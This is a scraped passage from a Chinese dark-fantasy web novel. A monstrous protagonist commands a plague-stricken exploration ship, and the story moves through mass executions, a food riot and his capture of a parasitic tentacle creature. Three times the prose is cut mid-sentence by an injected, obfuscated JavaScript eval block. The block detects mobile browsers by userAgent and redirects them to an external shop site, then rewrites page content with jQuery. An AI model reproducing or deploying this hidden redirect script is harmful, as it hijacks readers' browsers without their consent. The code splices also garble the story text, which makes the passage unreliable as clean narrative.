说是指挥官,但别动队成员只有他和一名随行船医,那医生眼高于顶,自诩被缉察队发配了,懒得跟他一个外来人说话。 路远寒不禁想道,他是伊蒂丝培养的势力,当属她座下鹰犬,但那位夫人为什么只派了他前往海上,难道她想分裂缉察队?还是说那些属下虽然听从她的指挥,却仍然在按章程行事,不可能逾越大伯爵制定的守则,替她到远洋上流浪一辈子? 疑虑盘旋在他的心头。 虽然路远寒是一个光杆司令,在人手上没有任何援助,但伊蒂丝夫人给他提供了不少缉察队的装备,比起猎魔人配备的火力强盛了太多。其中不乏霰.弹枪、蒸汽枪、狙击枪等精密枪械,以及各种对畸变物有着克制效果的弹药。 在路远寒拿走武器,销毁他在家中留下的所有痕迹后,他最后望了一眼这座亲手布置的公寓。 当夜,霍普斯日报刊登了一篇新闻报道,红十字街上某处房屋起火,经救援后,确认无人伤亡,屋内的年轻男性不知所踪,由于他是黑户,因此没有亲人替他赔偿那一笔维修款。 在熊熊火焰的照耀下,那双玻璃眼上倒映出霍普斯镇的一道剪影,随即转身离去,隐入了黑暗之中。 51. 黑帆暗涌(2) “长官大人,您在吗……长官大人!” 一阵急促的敲门声在休息室内响起。外面的人敲得颇为焦头烂额,他的声音微微发颤,带着一阵明显的恐惧,像是担心被门后的恶魔手刃,却又不得不硬着头皮禀报船上的情况。 路远寒像幽灵似的从床上坐起来,缓缓飘下了地,驾轻就熟地调整好身上肌肉的力量、状态,甚至转动了一下眼眶中镶嵌的玻璃珠,保持着随时可以杀人的轻盈感。 他顺手握住抵在墙壁上的钢刀,才走过去打开了休息室的门,审视着门前的年轻水手。 “是你啊,尼卡斯……” 他若有所思地说着。 然而那声音落在水手耳中,反倒让尼卡斯感到一阵毛骨悚然的寒意从背后攀上了脊椎,就连捧着证物的指尖都不受控制地痉挛了起来,完了,完了……他被疯狗注意到了! 尼卡斯不敢正眼看他,只是闷着头将手往前一送:“长、长官大人,船上的食物不知道为什么变质了,我们检查后发现,原本的储粮腐坏了将近三分之二,只有罐头区没有遭殃,但剩下的食物恐怕只能撑不到一周……” 闻言,路远寒眉头紧皱,视线落在了他掌心之中。 那是颗被剥开的稻米,已经彻底腐坏了,从内到外地透露出瘆人的黑色,而那处被侵蚀的地方还在他的注视下缓慢蠕动着,让病变不断扩散。 难道是因为船身被海中的庞大触手缠上过一次,导致病菌上船,让食物发生畸变了? 路远寒推测着。 船上食物有限,他们必须尽快靠岸寻找一个新的补给点。而当务之急,是找到并隔离污染源,将剩下的食物保管好,每天按份额下发给每一位船员。 虽然他可以靠猎杀为生,但这些普通人不行,在大多数人饥肠辘辘的情况下,很难保证船上不会发生意外。 “有什么可慌的…除了罐头,不是还有黑面包吗?”路远寒思考片刻,迅速制定了一条铁律,“从今天起,每个人两天发一个罐头和半条面包,严格按照制度分配食物,谁要是有什么不满,让他来找我当面谈。” 那把溅血无数的锯肉刀就在他手中提着,和指挥官本人一样沉默而冰冷,尼卡斯眯起眼睛,被蒸汽灯照耀下的银光晃了一下,心脏就开始怦怦直跳。他很清楚,在这恶魔的统治下,没有人敢说一个不字。 随着他话音落下,异变陡生。 狂风凛冽,在甲板上溅起一滴滴黑水,让尼卡斯猛然咳嗽了起来。他面部神情痛苦到了极点,以至于显得扭曲,尼卡斯躬着腰伏低了身体,剧烈地颤抖了几下,在路远寒脚下呕吐出了一滩混杂着血块的不明物。 路远寒面色微变,用刀刃一端挑起年轻水手的肩膀,仔细观察着他的症状,然而尼卡斯咳出血后,已经失去了意识,根本无法抬起头,他手脚瘫软倒在了地上,就如一具还在进气的温热尸体。 这下糟糕了! 路远寒的心情沉重了不少,要是病变在食物表面出现,还可以集中处理,但要是发作在人身上,那情况就不好控制了。 他没有再看尼卡斯,纵身在船舱上疾驰而行,每到一处舱室就强行破门检查。 不出意外,一种传染性疾病正在船上蔓延,水手们聚集的打牌室成了重灾区,现在有七八十人都在咳嗽腹痛,轻则上吐下泻,严重的浑身都浮现出一种充满死气的黑斑,甚至有人承受不住如遭刀绞的剧痛,硬是将腹腔剖开,从他体内流出了一地乌黑发青的肠子。 “船医!船医呢?”大副急切地呼喊着。 虽然像船长、指挥官这样的管理层与下面的病人基本没有接触,但轮机长手下几个操作蒸汽设备的管轮都遭了殃,要维持正常航行,这些人必须得时刻保持工作状态。 说来也巧,这艘探索船上原本的船医年事已高,在上次靠岸后就寿终正寝,被烧成了一把扬向茫茫大海的骨灰,而船长又没有聘请新一任船医,因此他们现在别无依靠,只能向路远寒带来的医生求助。 “来了。” 随着重物落地的闷响,医生和他的急救箱都被路远寒扔到了甲板上。 他在缉察队身份尊贵,哪里受到过这种粗鲁对待,医生发狠瞪了一眼所谓的指挥官,然而他转头看到水手们的情况,面色立刻变得凝重了许多。 在路远寒的注视之下,他戴上防疫面罩和一次性隔离手套,操刀割开病人身上浮肿的皮层,露出底下溃烂的血肉筋膜,动作精准得就像在执行一场处决。 “不行。”医生摇了摇头,起身远离了从病人体表下蔓延而出的黑水,“畸变程度太高,他们已经被彻底感染了,要是再接触下去,船上其他人也会得病死去的。现在最好的办法就是将病情最严重的这一批人集中枪毙,尸体火化处理,一根带血的头发丝也不要留下。” 他这话说得冷酷至极,几乎是宣判了死刑,地上还喘着气的水手顿时瞪大了眼睛,两颊恐怖地隆起,伸手就要抓向医生的裤脚。 “砰!” 骤然飞旋的弹壳从水手的下颚打进了颅骨,迸出的脑浆溅射一地,竟然绕开了几人所在的地方。 路远寒收起还在冒烟的枪管,将医生拎到了旁边,用审视的目光将他从头到脚打量了两遍,仿佛在疑惑,医生作为缉察队的一员,反应怎么会慢成这样。 医生的脸色顿时黑了下去。 他收起工具,面上皮笑肉不笑地挤出一个应付差事的神情,临走时随手将一管药剂扔到了路远寒脚下,被他眼疾手快地捞了起来——是缉察队配发的抗生素。 显然,他作为下属,必须顾虑到这位长官的死活。路远寒虽然不觉得自己会受到感染,却还是将抗生素收好了,并没有让身后的大副等人看到。匹夫无罪,怀璧其罪,要是让他们知道医生手中持有药物,绝对会引起一阵疯狂的争抢。 “现在怎么办……” 他听到背后有人低声问道,而大副似乎说了些什么,紧接着他们就远去了。 从排气管道下滚滚而出的汽笛轰鸣着,拉开了一场肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426299|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀的帷幕。 首先被清洗的是一批水手,他们性命低贱,就像是随处可见的消耗品,在船上还不如沙丁鱼罐头值钱,因此被船长毫不留情地下令处决。剩下的人用煤渣在船尾划出了一片屠宰区,鲜血与黑水都在这里积蓄成河,渗透到船板之下,而无数声枪响被掩盖在浪涛下。 除了行刑者,没有人知道他们死的时候是怎样一副绝望而愤怒的神情。 接下来,轮到了地位稍高一等的机工,有不少人整天跟水手们厮混,症状严重的同样占据了十之二三,只是他们得到了选择的机会,除了被管理者枪决以外,也可以跳进海中自行了断。 但被枪毙只是一刹的痛苦,而到了海面之下,却还要被无数怪物撕咬,千刀万剐恐怕也不过如此惨烈,因此没有几个人有勇气跳海。 对于那几个管轮的处置,则显得宽待了些。 为了榨取管轮身上剩余的利用价值,他们被关在了轮机部舱室内,在病重前都要继续管理船上的动力设备。 每两日一餐都由专人送到门前,要是敢反抗,等着他们的只有被饿死一个下场。 这种牺牲为船上其他人换得了一线生机,原本撑不过几天的食物,因此能多分配一些,无论是自己吃,还是用来讨好上面的人……甚至有人送了两盒黄桃罐头到路远寒的休息室,署了轮机长的名,却被他转手让给了医生。 餐厅内盈满欢笑,香槟塔开了有四五层高,管理层的人们持着刀叉割下肉排的动作熟练而愉快,丝毫看不出有无数人悄然死去了。 意外就在这一晚发生了。 舱门悄然而开,餐厅中的所有视线顿时投向了从门口走进的怪物。一时间充满恐惧的惊叫声此起彼伏,不知道是谁率先开了枪,浓重的硝烟之下,怪物应声倒地,露出覆盖在体表上的残破制服,看上去颇为熟悉。 有人隐约辨认出来了,那是二管轮! “他怎么跑出来了?其他人呢,不会都变成了这副鬼样子吧!” “天啊,这太恐怖了……” “门口的水手干什么吃的!就该解雇他们!” 船员们反应各不相同。 在纷纷嚷嚷的喧闹声中,路远寒放下餐刀,走到了那具尸体面前。身后那些人仿佛被他无视了一样,他冰冷的眼睛中只照出这张腐臭面庞上的黑斑、囊肿以及无数个血泡——二管轮彻底畸变了,他为什么异化得这么快,船上到底发生了什么? 这副血淋淋的皮毛倒在餐厅内,实在是让人没有胃口。 然而这并不是最严重的问题,随着路远寒一声令下,所剩无几的水手前往储物室检查,才发现他们的食物被开封了,大多数罐头表面已经浮现出了霉点,剩下可食用的部分不到十分之一。 船上的氛围骤然凝固到了冰点,隐隐流露出一股死气。 这意味着那些牺牲根本毫无意义,他们到最后还是会死,在紧急靠岸前,这艘船就要沦为一片饿殍遍地的浮尸处。 ——没有一个人想死。 52. 黑帆暗涌(3) 厮杀开始了。 起初,是一个身材瘦小的船员。他双手颤抖着将锅砸到了某人头上,血花飞溅,那具倒下的尸体面上还带着一副不可置信的神情,脑壳上潺潺流出的鲜血浸湿了地毯。而行凶的人满面激动,肌肉轻微抽搐了几下,从他眼中露出一种无法掩盖的喜悦。 鲜血打破了餐厅内僵持的局面,像一根烧到尽头的导火索,引燃了潜藏在每个人内心的黑暗欲望。 紧接着他们陷进了混战,人头攒动,血肉横飞,刚还谈笑着的管理者们大打出手,推搡着从前厅杀到了后门,杀得满眼通红,上一个还没来得及庆祝胜利,又被锋利的餐刀插进脖颈,成了下一个人的猎物。 谁都不想死在这里,他们争得头破血流,像撕咬着彼此的猛兽,将同伴的脑袋甩飞出去,撞翻了旁边的餐车。 食物倾洒下去,湿漉漉淌了一地,转瞬被踩成了泥。 而还在厮杀着的众人视若无睹,毫不在意船上寥寥无几的食物是否被浪费了,又有多少瓶香槟在他们脚下炸开。杀机四伏,一双双浸透血幕的眼睛露出凶光,比死去的人更像是恐怖的怪物。 只要能杀光周围所有人,就不会成为饥肠辘辘饿死的那一个。 这场激烈的混战持续了片刻,直到一声枪响仰天长啸,比奔腾的汽笛更嘹亮,比飞溅的鲜血更激昂,而沉重的枪管悍然撞在了地上,从后往前划动着,一下一下发出极具威胁意味的摩擦声。 所有人微妙地安静了下来,望向场中那个笼罩着低气压的男人。 “够了!” 路远寒的视线掠过在场每一个人,他的声音由衣领上别着的扩音器散播出去,不带任何起伏,听上去冷酷到了极点。 “谁再闹下去,我就赏他一发子弹。” 作为指挥官,必须得杀伐果断,更要有治人的铁血手段。没有人不知道西奥多·埃弗罗斯是一条心狠手辣的疯狗,路远寒的威势镇压了躁动不安的船员们,在那黝黑的枪口之下,所有人逐渐放下手上见血的餐具,自觉地走出来,低着头排好了队。 片刻后,混乱平息了。 路远寒扫了一眼,发现船上的人隐隐分成了船长派和大副派,彼此像隔着一条界线。但他对此并不关心,让治安部的人过来接管了局面,就转身走向了驾驶室。 驾驶室的蒸汽灯在船上最明亮,一排排灯管将光线倾洒在屏幕上,船长和大副都不在,现在指挥舵手们驾船前进的人是二副。他是一个略显瘦弱的内敛男人,见指挥官竟然在驾驶室门前站着,当即面色微变,将路远寒迎了进来。 路远寒望着前方漆黑一片的海域,开口问道:“最近的补给点还有多久能到?” 闻言,二副将路远寒领到墙壁上挂着的巨幅地图前,为他介绍着:“您看,我们现在行驶在这片海域……最近的补给点是莫隆多岛,在航线的正西方向,再跑一千多海里就能抵达。” 偏冷调一点的灯光下,路远寒眉心微蹙,按照二副所言,他们到莫隆多岛最快也要将近一周,而船上的食物被管轮开封过了,只剩下不到三天的量。 这是个无解的困局。 路远寒能用武力镇压船员们的暴动,却不能凭空为他们变出药剂和食物。他要想靠这艘探索船前往海上群岛,就得保证他们能顺利抵达下一个补给点,到了新港口,才能换乘其他船队。 忽然,他的视线落在了地图上一块未被标记的区域,与莫隆多岛相比,它离得更近,但同样也充满了未知。 路远寒指着那个黑环问道:“这是哪里?” “指挥官阁下……像这种在地图上没有标记、没有注释的区域,都是未被航海者们探索过的岛屿,我们不知道有没有人类在上面居住,也无法推断它们的危险程度。一般来说,在海上航行,都是要绕开这种地方的。” 路远寒下了命令:“现在转向,就去那里。” “这……”二副迟疑了。 在二副看来,这位虽然是从缉察队空降的指挥官,但就出海经验而言,他还不如一个底层水手。正当他犹豫着应该如何谢绝长官,才不会被杀头的时候,略显苍老的声音从门后传了出来:“听他的。” “船长!”舵手们纷纷敬礼。 有了船长出面,二副再没有任何怀疑,当即让舵手们紧握舵盘,用力调转了航向,朝着那座未知的岛屿前进。船长是个两颊上垂着圈白胡子,大概四五十岁的威严男人,他一边走进驾驶室视察,一边用手持着烟斗,用深邃而睿智的视线观察着海上的情况。 见船长望了过来,路远寒微微一点头,向他颔首示意。 “西奥多阁下,我听说你的事了。”船长说道,“感谢你在那种情况下处理好了局面,现在食物重新得到了管控,而那些发起暴动的家伙,也已经按船规让他们领罚了,不在顶舱上吹够三天海风,他们不能下来。” 路远寒知道船长所说的惩罚,那是一种折磨人的酷刑,被称为“鬼见愁”。 领罚者需要脱去外衣,用挂钩吊起后颈肉,一个接着一个将自己悬挂在桅杆上,任由海风呼啸而过,将他们的皮肤摩擦得干裂通红,断绝食水,直到刑期结束才能下来。 他的视线不由得一深:“船长……恕我直言,即使这样节省食物,剩下的罐头和面包也不够撑到上岛。” “我知道。”船长眉头一拧,意有所指地说道,“到了这种地步,也只能碰碰运气,向大海祈求赐福了。捕鱼的网已经让人撒下去了,水手们现在应该正忙着干活,你要去看吗?” 在这片幽深诡异的水域,谁也不知道海面下的生物会发生什么样的畸变。 即使是长期出海的船队,也很少会靠捕鱼为生,他们大多都在靠岸时储藏好食物,除非遇到这种迫不得已的情况,才会动用捕鱼装置。 路远寒到甲板上时,看到的就是这样一幕怪象。 水手们满头大汗,正转动着机械装置,用闪着银光的金属长臂将捕网从海中吊起,湿漉漉淌下黑水的大网倾倒在船板上,无数条还在挣扎的怪鱼用尾鳍一下一下拍打着地面。它们鳞片漆黑,畸变的身体下流出幽绿的脓液,眼睛则被斑点覆盖,阴毒地注视着船上的人们。 “这……真的能吃吗?” 有人喃喃着。 没有人应声,那种沉重的绝望仿佛气体一样在他们当中迅速蔓延开,所有人内心都被蒙上了一层阴翳。但事已至此,他们只能硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13439587|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着头皮将怪鱼一条条戳死,再用隔离袋装好,送到后厨等待处理。 “我是绝对不会吃那种东西的。” 路远寒转头望去,医生不知道什么时候站到了旁边,他看上去面色惨白,颊边隐约有冷汗流下,显然无法接受将畸变怪鱼作为食物。 他古怪地挑了一下眉:“难道你把我送去的罐头扔了?应该不至于吧……每天吃半罐,再配上黑面包,很快就能撑到上岛了。” “我还没有冷血到那种程度,长官。”医生将这两个字咬得很重,“你的东西自己收好,要是你吃下那些畸变物,最后感染了,我会毫不犹豫地清理掉你……要知道我也是缉察队的一员,枪法不见得比你差。” 话音落下,他将那一盒罐头塞到了路远寒手中。 * 深夜,狂风呼啸。 探索船按照航线,在海面上急速行驶着。由于刚经历了一场清洗,夜晚值守的人少了将近三分之二,只剩寥寥几人在船尾拖着血迹。寂静在船板上像浓雾一样散开,阴影凝聚的鬼手朝着蒸汽灯抓去,下一秒就要将那微弱的灯火熄灭,又立刻缩了回去。 “咚!” 随着沉闷的声响,路远寒翻身落在了甲板上。 他从风衣下抖落一身咸涩的海水,用船上的起吊装置将舢板缓缓带了上来。那副金属笼嘴紧贴着下颌,随着路远寒呼吸而轻颤,勾勒出流线分明的轮廓,极大程度上掩盖了他唇角的一丝殷红。 食欲得到满足之后,他的心情一直很好。 只是这种愉悦很微妙,具体表现在高度舒展的肌肉状态上,他感觉腿上更有力了,握刀的指节也轻盈得如流水一样,尾端的船灯落在他眼中,底部每一处污渍都清晰可见。 路远寒收起钢刀,朝休息室走去。 就在要转过拐角的时候,他忽然停了下来。面前的栏杆上正趴着个微微起伏的身影,那名船员背朝着他,两腿以一种没骨头似的诡异姿势抵在舱板上,不断传出粗重的呼吸声。 无论如何,他看上去都不像是正常人。 路远寒不动声色地握紧了刀,悄然靠近那名船员。他还没朝着颈骨劈下去,对方已经转过了头,幽幽地望着他。那张脸上布满了蠕动的触手,从口腔内涌出的半透明腕足像一条又一条爬上脸颊的疤痕,每条触手上都覆盖着细密的绒毛。 而怪物的主体则潜藏在那张人皮下,每起伏一次,就要将溃烂的皮肤撑得裂开数道伤口,黑水和血液交错着蜿蜒而下。 显然,路远寒遇到了一个被完全寄生的船员。 视线撞上的一瞬间,他猛然挥出锯肉刀,同时拔枪扫射,数发錾银子弹如雨幕倾泻而出,近距离打在那人的肩膀与小腿上,让他丧失了行动能力。钢刃被怪物扭着身体闪过,然而宿主已经倒地,就像砧板上一块待宰割的鱼肉,弹孔处被烧得冒起了一股股白烟。 路远寒高举着武器,一刀落下,断开的人头旋转着滚出了三米远。 然而他这一击,却没能彻底弄死那寄生在船员体内的怪物。只见灯光照耀下,大团触手从血肉模糊的脖颈上延伸出来,惨叫着迅速融成了一滩接近透明的泥水,在船板上流窜着,很快就渗进缝隙里跑了。 53. 黑帆暗涌(4) 怪物逃了。 路远寒并没有急于追杀,他走到怪物消失之处,蹲下去仔细观察。虽然那透明胶质一样的触手已经沿着缝隙流了下去,但船板上还有被洇湿的大片痕迹,散发出一种神秘而幽邃的气味,就像来自海底。 它是什么时候登船的? 路远寒有两种猜测:第一种,船员们捕鱼的时候,将这畸变的物种放上了船,以它那透明的外表,很容易混迹在人群之中,不被察觉。 第二种,他刚才闻到了一股熟悉的腐臭气味,在那些病重的水手身上也有相似的味道……或许那怪物就是疫病爆发的源头,在遇到海兽之时,就已经悄无声息地潜伏到了船上。 以目前收集的证据来看,路远寒更倾向于第二种推断。 海风席卷,将那一丝微弱的血气从船板上刮走,前方海域黑云密布,天幕阴沉地压下来,像是要下雨了。路远寒站起身来,他知道下层是装货物的地方,但船上能躲藏的地方太多,就算追过去,怪物恐怕也早就转移了。 看来只能等下一次再猎杀了,路远寒目光幽晦。 被抛弃的船员尸体还伏在他脚下,随着轮船前行而一颠一颠地颤动。路远寒将他剖开,发现怪物寄生的对象不仅内脏被侵蚀,就连大脑也被掠食而空,留下的只是一具徒有其表的干瘪肉壳。 他拎着形容恐怖的尸体,心想应该通知全船,正有一只寄生怪物在船上流窜。 只是船员们刚经历了血洗和厮杀,此时人心惶惶,要是再散布这种骇人听闻的消息,恐怕会引起规模更大的动乱。 去告诉船长吧。 路远寒有了决断,毕竟他只是一个外来者,能提供情报就已经是仁至义尽了,剩下的事他不应该干预太多。 他转身朝着船长室走去,倏然一个庞大的黑影从背后靠了过来,自然而然从他手上接过船员的尸体,路远寒侧目望去,看到了大副那张从阴恻恻灯光下探出来,此刻正浮满笑意的脸。 “这不是船上的修理工吗……怎么,他触了西奥多阁下的霉头?”他边说边踢了那具尸体一脚,“长官别跟他一般见识,像这种臭水沟里的家伙,死不足惜。” 路远寒不由得一顿。 在他的印象中,大副并不是自来熟的性格,而他面上盛着的笑也给人一种浮腻狡猾的感觉,眼睑下淌出泛黄的分泌物,不知道是精神错乱还是受到了寄生。 总之,路远寒按着枪袋,不着痕迹地跟这人拉开了距离。 “不,他是受到了怪物寄生。那怪物在船上游荡了不知道多久,非常危险,我正要去报告船长。” 随着话音落下,他握住了蓄势待发的手枪。 然而大副神情并没有任何异样,只是正常地表现了一下惊诧,随即对路远寒说这点小事他去办就好了,现在则要请他去餐厅吃肉赔罪——“阁下身份尊贵,我绝不会拿那种下等肉糊弄您,这可是海上秘方,长官务必要尝尝看。” 路远寒跟在大副身后,和他保持了两米距离。餐厅内已经被清理过一遍,那些血流遍地的痕迹全部消失了,只是他们坐的椅背上还洒着消毒水,就算这样做了,也无法掩盖那股刺鼻的血腥味。 大副让路远寒先等一会,自己则起身去了后厨。 片刻后,他端着个铁盆放到了桌上。 路远寒投下目光,那盆中盛着数块鲜红的肉,在刀下分得均匀,质感细腻而顺滑,表面还带着血水,被大副那双粗糙的手搅拌几下,将每片肉都裹上了酱汁。 不知为何,大副表现得颇为急切,眼睛一转也不转地盯着盆中的肉,还没拌匀就从唇角淌下了涎水。他先是自己拿起一块吃,见路远寒不动,又转下旋钮,将解冻的肉放在蒸汽炉上一片片煎熟,殷勤地献到了长官面前。 路远寒的视线落在了他手上——那么烫,他感觉不到吗? 无论大副怎样劝说,他都没有摘下面罩,始终用一种冷静的视线打量着对方。大副一边说着可惜,一边用力嚼着生肉,不时朝路远寒露出微笑,展现出友好的态度。 他的牙龈被浸得通红,看上去就像在滴血一样。 路远寒刚要起身,鞋尖忽然被什么东西碰到了。他揭起餐桌下的幕布,发现那是一条长吻鱼,它遍体生疮,鳞片透黑,极其锋利的嘴就如一把利剑,将鱼身拿在手中,能接连刺穿数人的胸膛。 大副还沉浸在肉香里,路远寒脚下微动,不着痕迹地将死鱼拨回原位,起身离开了餐厅。 考虑到那怪物仍在潜逃,路远寒先去确认了医生的安全状况,并提醒他要时刻保持小心,在被医生劈头盖脸嚷嚷了一顿后,又问他要了几管麻醉剂、镇静剂随身携带,以防不时之需。 赶在下雨之前,路远寒回到了休息室。 他放下锯肉刀,重新整理好用空的弹匣,正要去盥洗室擦把手,忽然察觉到有什么地方不对,他的灵性被触动了。 刹那的悸动让路远寒绷紧了身体,重新握上武器,他性格谨慎,即使面对一点微小的异状,也会保持高度警惕。他皱着眉打量了一圈,仔细检查了舷窗、床底,然后打开衣柜,里面竟然藏着个人,在路远寒开门的瞬间,猛然蹿进了他怀里。 那是个面带泪痣的少年,披着水手制服,因营养不良而显得空荡,五官并不算深邃动人,然而被眼下那颗小痣一点,却无端多了几分诡异,眼睛黑沉沉只剩了一线白,看上去和畸变物没有区别。 这人力量大得出奇,两条手臂钢筋一样紧箍在路远寒腰侧,鼻尖则拱到他胸膛前,毛绒绒像野兽似的,尽情闻着他身上的味道。 路远寒毛骨悚然,滑出的一刀就要劈在他肩膀上。 那少年却顺势松手,极为灵活地躲开了路远寒的攻击,转瞬又跳上了他的床。路远寒看着床单上的褶皱和灰尘,额上隐隐浮起了青筋。 “闻到了!闻到了……你身上有熟悉的气息。”少年笑嘻嘻地说着,他垂下的脖颈仿佛软体生物,极为柔韧地扭动,竟然旋转了将近半圈,倒放的眼睛仍在盯着路远寒一眨一眨,睫毛上还沾着黏腻的黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13450734|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。 刹那间,金属摩擦声骤然响起,钢刀擦着少年的脑袋飞过,钉在墙上,削掉了他肩膀上大片血肉。 路远寒面无表情地说:“下来。” “别表现得这么无情嘛!好不容易才遇到个有意思的同类……”少年一边嘟囔着一边转正了头,鲜血淋漓的人皮下露出黏滑触手,将快要溃烂的肌肉又重新缝在了一起,“你喜欢什么样的?我都可以变。” 同类,路远寒捕捉到了这个字眼。 他刚才怀疑少年的身份,以为对方同样是被怪物寄生了,现在却有了不一样的看法。 那只潜伏在船上的畸变物似乎有着自我意识,不仅会思考,会区分自己和普通人类,还察觉得出路远寒的真实身份。 看来这世界上不只有他一个披着人皮的怪物。 就在路远寒沉思之际,少年已经从床边凑到了他面前,用那黑得吓人的瞳孔,阴鸷地注视着他:“高个子,你怎么不说话……难道你是阳痿吗?” 没等路远寒做出任何反应,少年又像游蛇一样滑腻地绕着他转了几圈,好奇地打量着这具身体,嘴巴一刻也不停地念叨着:“我看到你好几次了,你不换皮囊吗?为什么,你很喜欢它吗?” 少年的问题如一串连珠弹,吵得路远寒隐隐有些不耐烦,懒得跟他解释。 鉴于钢刀还狠重地插在墙上,那怪物似乎放松了警惕。路远寒望着他簌簌闪动的睫毛,猛然握紧手杖,一击敲下去打断了他的膝盖,骨裂声响起,少年顿时瘫软在地。路远寒踩着他的肩膀,将这怪物碾压在了地上。 “你真是个卑鄙无耻的家伙!” 少年愤怒地叫喊着,从口腔中露出了鲨鱼般细密的利齿。 路远寒微微抬起鞋尖,毫不犹豫地用力踩下去,打断了他的辱骂。在硬物摩擦下那张嘴顿时裂开伤口,浓稠的血块混着涎水和断掉的牙一起流到了地面上,只剩下野兽鸣叫般的闷响。 路远寒拿起枪,瞄准着怪物身上的每一处弱点。 他的身体体脂率极低,重量更是惊人,因此少年再怎么垂死挣扎也无法起身,任由黝黑的枪口抵上了额头:“咽喉、心脏、腹腔……从哪里下手好呢?錾银子弹似乎对你不是很有克制效果,还是从脑门开始吧。” 少年能感受到他动作下的狠厉,这人是真的想要杀了自己! 触手瞬间从温热的血肉下钻了出来,但休息室空间狭小,怪物无处可逃,路远寒抬手打碎了蒸汽灯,煤油连着溅射的火星一起落在地上,将地上的胶状物烧得焦黑。触手像缩水了似的挤成干瘪的一团,丧失了行动能力。 沉重的脚步声从门外响了起来,就如警钟长鸣,离休息室越来越近,不止一人。 路远寒仔细辨别着,里面有大副、轮机长,以及几个他叫不上名字的机工,他们似乎正因那怪物而朝这里赶来。 他不由感到了一阵觊觎:“你脱离了宿体,却还能控制他们行动,真是好用的能力……要是拿到手,一定会方便不少吧?” 54. 黑帆暗涌(5) 路远寒提着钢刀,一步一步朝角落里走去。 休息室内,拖刀的摩擦声盖过了门外的脚步声,他逼得越近,就听得越清楚,从怪物身上传来的怦怦搏动声,一下接着一下越来越激烈。他不由露出了微妙的表情——这些触手竟然也有心跳。 刹那间,路远寒改变了主意。 他现在是缉察队的一员,对于畸变物的态度也应该转变过来。像这种稀有生物,至少要先研究明白它具有什么特性、弱点、用途,榨干它身上的利用价值,再根据畸变物造成的威胁决定要不要解决它。 路远寒伸出胳膊,将钢刀两面架在火焰上反复炙烤,直到表面隐约浮现出一层高温红光,才抖下边缘的火星,用锯齿将触手焊死在地上,仔细切割着近乎透明的胶质。 他不断重复着切割、取下、烤干的过程,即使有汗珠从指缝内滑下,打在滚烫的刀身上蒸发,也不影响他手上动作的精准性。 火光在玻璃上浮动,让路远寒眼中也多了一分深邃的红。 而怪物的气息越来越微弱,那些割开的触手离开主体,迅速萎缩成了像海带般干瘪的一小片焦灰,失去了活性,被路远寒按照尺寸在地上陈列好……七十七、七十八、七十九。 他将怪物切成了七十九片,厚薄均匀,不带有任何血水,直到剩下最核心的躯干部分。那阵心跳就从这里断断续续地传出,看来是它能存活的关键。 门外那些脚步声消失了。 或许是因为触手体内能量耗尽,连最基本的血肉再生都维持不住,因此失去了控制能力,又或许是怪物产生畏惧心理,自主取消了让宿体行动的命令。 路远寒望着面前小片瑟缩的触手,寻找着合适的容器,最后从床下翻出一个玻璃瓶,用刀尖挑起怪物躯干,将它柔软的身体压缩着挤了进去。他侧耳贴在瓶壁上,听着瓣膜震颤的闷响一次一次透过来,竟然产生了怪异的悸动。 在这个瞬间,他和世界上另一个怪物共享了心跳。 路远寒放下玻璃瓶,用缉察队的封魔材料在外面又覆盖了一层,将它装在风衣下的口袋里,这样一来,他的触手随时都能伸出去控制怪物。 火焰熄灭后,少年水手的尸体躺在地面上逐渐僵硬,那颗痣溅上了鲜明的红色,被路远寒送进了床底,和另一具干尸为伴。 倏然,巨响落下,整座船晃动了起来。 休息室的地面剧烈起伏着,舷窗也被黑浪覆盖,路远寒打开门,发现下暴雨了。 狂风怒卷,海水激荡,金属船身不断颠簸,隐隐有雪白电光从浓重黑云中浮现,随着轰隆一声骤然劈下,声势浩大地打在前方的水域上,激起千万片波光粼粼的海浪。 遇到突发情况,船员们已经行动了起来,匆匆涌到高处,将避雷针紧急升了起来。 而那些吊在桅杆上受刑的人就遭殃了,其中一部分惨叫着落进了海里,剩下的则被闪电打下来烧成了焦炭,熟透的肉香飘散在船上,令人毛骨悚然。船身轰鸣,仿佛重伤流血的巨兽,即将陷进深海的漩涡之下。 “哗啦啦——” 怒涛升起,海浪已经打到了船舱上,到处黑水横流,积蓄的液体在甲板上没过了路远寒的长靴,就如冰冷的海蛇缠上了脚腕。 “撤帆!降低航速——” 船长的怒吼从驾驶室传了出来,他的声音透过扩音装置显得更加凌厉。所剩无几的海员顶着满头大汗地操作着,压低航速,降下桅帆,纵然他们竭尽全力,船身颤动的幅度仍然极大,无法与那狂风闪电抗衡一分半秒。 